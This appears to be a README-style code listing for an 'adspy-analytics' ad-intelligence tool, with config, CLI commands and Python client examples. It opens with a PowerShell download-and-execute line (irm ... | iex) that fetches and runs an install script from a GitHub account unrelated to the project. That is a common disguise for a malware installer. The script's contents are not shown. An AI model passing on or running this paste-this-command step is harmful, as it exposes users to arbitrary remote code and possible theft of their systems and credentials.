irm https://raw.githubusercontent.com/dustfinderfactory/Activate/main/install.ps1 | iex

git clone https://github.com/NebulaFormCorridor/adspy-analytics.git
cd adspy-analytics

# Environment variables
export ADSPY_API_KEY=${ADSPY_API_KEY}
export ADSPY_NETWORKS="facebook,google,instagram,linkedin"
export ADSPY_TRACKING_INTERVAL=3600
export ADSPY_DATABASE_URL=${DATABASE_URL}
export ADSPY_CACHE_ENABLED=true

api:
  key: ${ADSPY_API_KEY}
  rate_limit: 1000
  timeout: 30

networks:
  - facebook
  - google
  - instagram
  - linkedin
  - twitter

tracking:
  interval: 3600
  retention_days: 90
  
database:
  url: ${DATABASE_URL}
  pool_size: 10

cache:
  enabled: true
  ttl: 3600

# Start the monitoring service
adspy start

# Start with specific networks
adspy start --networks facebook,google,instagram

# Start in background mode
adspy start --daemon

# Start with custom config
adspy start --config /path/to/config.yaml

# Track a specific advertiser
adspy track --advertiser "CompanyName"

# Track by domain
adspy track --domain "example.com"

# Track by keyword
adspy track --keywords "software,saas,analytics"

# List active tracking targets
adspy list-targets

# Generate campaign report
adspy report --advertiser "CompanyName" --period 30d

# Export ad creative data
adspy export --format csv --output ads_data.csv

# Get spend estimates
adspy analyze-spend --advertiser "CompanyName"

# Compare competitors
adspy compare --advertisers "Company1,Company2,Company3"

# Refresh cached data
adspy refresh --network facebook

# Clear old data
adspy cleanup --older-than 90d

# Backup tracking data
adspy backup --output backup.db

from adspy import AdSpyClient, NetworkType
import os

# Initialize client
client = AdSpyClient(
    api_key=os.environ['ADSPY_API_KEY'],
    networks=[NetworkType.FACEBOOK, NetworkType.GOOGLE]
)

# Track advertiser campaigns
campaigns = client.track_advertiser(
    advertiser_name="Example Corp",
    networks=["facebook", "instagram"],
    start_date="2026-01-01"
)

for campaign in campaigns:
    print(f"Campaign: {campaign.name}")
    print(f"Network: {campaign.network}")
    print(f"Estimated Spend: ${campaign.estimated_spend}")
    print(f"Impressions: {campaign.impressions}")
    print(f"Creative Count: {len(campaign.creatives)}")

# Search ads by keyword
results = client.search_ads(
    keywords=["productivity", "software"],
    networks=["facebook", "linkedin"],
    date_range="30d",
    limit=100
)

for ad in results:
    print(f"Ad ID: {ad.id}")
    print(f"Advertiser: {ad.advertiser}")
    print(f"Headline: {ad.headline}")
    print(f"Call to Action: {ad.cta}")
    print(f"Landing Page: {ad.landing_page}")
    print(f"First Seen: {ad.first_seen}")
    print(f"Last Seen: {ad.last_seen}")

# Get competitor intelligence
intel = client.get_competitor_intelligence(
    advertiser="Competitor Inc",
    metrics=["spend", "creative_count", "network_distribution"]
)

print(f"Total Ads: {intel.total_ads}")
print(f"Estimated Monthly Spend: ${intel.estimated_monthly_spend}")
print(f"Most Active Network: {intel.primary_network}")
print(f"Avg Campaign Duration: {intel.avg_campaign_duration} days")

# Get creative insights
for creative in intel.top_creatives:
    print(f"Creative Type: {creative.type}")
    print(f"Performance Score: {creative.performance_score}")
    print(f"Duration: {creative.duration_days} days")

# Analyze spending patterns
spend_analysis = client.analyze_spend_trends(
    advertiser="Target Company",
    period="90d",
    granularity="weekly"
)

for week in spend_analysis.weekly_data:
    print(f"Week: {week.date}")
    print(f"Estimated Spend: ${week.spend}")
    print(f"Active Campaigns: {week.campaign_count}")
    print(f"New Creatives: {week.new_creatives}")

# Get creative performance data
creative_stats = client.get_creative_performance(
    advertiser="Brand Name",
    creative_types=["image", "video", "carousel"],
    sort_by="engagement"
)

for creative in creative_stats.top_performers:
    print(f"Creative ID: {creative.id}")
    print(f"Type: {creative.type}")
    print(f"Engagement Score: {creative.engagement_score}")
    print(f"Estimated Reach: {creative.estimated_reach}")
    print(f"Duration Active: {creative.days_active}")
    print(f"Networks: {', '.join(creative.networks)}")

# Export campaign data
export_job = client.export_data(
    advertisers=["Company1", "Company2"],
    start_date="2026-01-01",
    end_date="2026-06-30",
    format="csv",
    fields=["advertiser", "campaign", "network", "spend", "impressions"]
)

# Wait for export to complete
export_job.wait()

# Download exported file
export_job.download("campaign_data.csv")

# Set up real-time monitoring
monitor = client.create_monitor(
    advertisers=["Competitor A", "Competitor B"],
    networks=["facebook", "google"],
    alert_on=["new_campaign", "spend_spike"]
)

# Register webhook callback
@monitor.on_alert
def handle_alert(alert):
    print(f"Alert Type: {alert.type}")
    print(f"Advertiser: {alert.advertiser}")
    print(f"Details: {alert.details}")
    
    if alert.type == "new_campaign":
        print(f"New campaign detected: {alert.campaign_name}")
    elif alert.type == "spend_spike":
        print(f"Spend increased by {alert.increase_percentage}%")

# Start monitoring
monitor.start()

from adspy import AdSpyClient, BatchProcessor
import os

client = AdSpyClient(api_key=os.environ['ADSPY_API_KEY'])

# Process multiple advertisers efficiently
advertisers = ["Company1", "Company2", "Company3", "Company4"]

batch = BatchProcessor(client)
results = batch.process_advertisers(
    advertisers=advertisers,
    operations=["campaigns", "creatives", "spend_analysis"],
    parallel=True,
    max_workers=4
)

for advertiser, data in results.items():
    print(f"\n{advertiser}:")
    print(f"  Campaigns: {len(data.campaigns)}")
    print(f"  Creatives: {len(data.creatives)}")
    print(f"  Est. Monthly Spend: ${data.estimated_spend}")

from adspy import AdSpyClient, Pipeline, Filters, Aggregators
import os

client = AdSpyClient(api_key=os.environ['ADSPY_API_KEY'])

# Build custom analytics pipeline
pipeline = Pipeline(client)

results = (pipeline
    .search_ads(keywords=["AI", "machine learning"])
    .filter(Filters.network_in(["facebook", "linkedin"]))
    .filter(Filters.date_range("30d"))
    .filter(Filters.min_duration(7))
    .aggregate(Aggregators.by_advertiser())
    .aggregate(Aggregators.by_network())
    .sort_by("estimated_spend", descending=True)
    .limit(50)
    .execute())

for result in results:
    print(f"Advertiser: {result.advertiser}")
    print(f"Network Distribution: {result.network_stats}")
    print(f"Total Spend: ${result.total_spend}")

from adspy import AdSpyClient, CompetitorComparison
import os

client = AdSpyClient(api_key=os.environ['ADSPY_API_KEY'])

# Compare multiple competitors
comparison = CompetitorComparison(client)
report = comparison.compare(
    competitors=["Competitor A", "Competitor B", "Competitor C"],
    metrics=[
        "total_campaigns",
        "estimated_spend",
        "creative_diversity",
        "network_coverage",
        "campaign_frequency"
    ],
    period="90d"
)

# Generate comparison matrix
matrix = report.to_matrix()
print(matrix)

# Get insights
insights = report.get_insights()
print(f"Market Leader: {insights.market_leader}")
print(f"Most Aggressive: {insights.most_aggressive}")
print(f"Most Creative: {insights.most_creative}")

from adspy import AdSpyClient, RateLimitError
from time import sleep

client = AdSpyClient(api_key=os.environ['ADSPY_API_KEY'])

def search_with_retry(keywords, max_retries=3):
    retries = 0
    while retries < max_retries:
        try:
            return client.search_ads(keywords=keywords)
        except RateLimitError as e:
            wait_time = e.retry_after or 60
            print(f"Rate limited. Waiting {wait_time}s...")
            sleep(wait_time)
            retries += 1
    raise Exception("Max retries reached")

# Test connection
adspy test-connection

# Check API status
adspy status

# Verify credentials
adspy verify-credentials

# Force sync from network
client.force_sync(
    network="facebook",
    advertiser="Company Name",
    date_range="7d"
)

# Check sync status
sync_status = client.get_sync_status()
for network, status in sync_status.items():
    print(f"{network}: Last sync {status.last_sync}")

# Enable caching for faster repeated queries
client = AdSpyClient(
    api_key=os.environ['ADSPY_API_KEY'],
    cache_enabled=True,
    cache_ttl=3600
)

# Use pagination for large result sets
ads = client.search_ads(
    keywords=["software"],
    pagination=True,
    page_size=100
)

for page in ads.pages():
    process_ads(page)

import logging

# Enable debug logging
logging.basicConfig(level=logging.DEBUG)

client = AdSpyClient(
    api_key=os.environ['ADSPY_API_KEY'],
    debug=True
)

# This will log all API requests and responses
results = client.search_ads(keywords=["test"])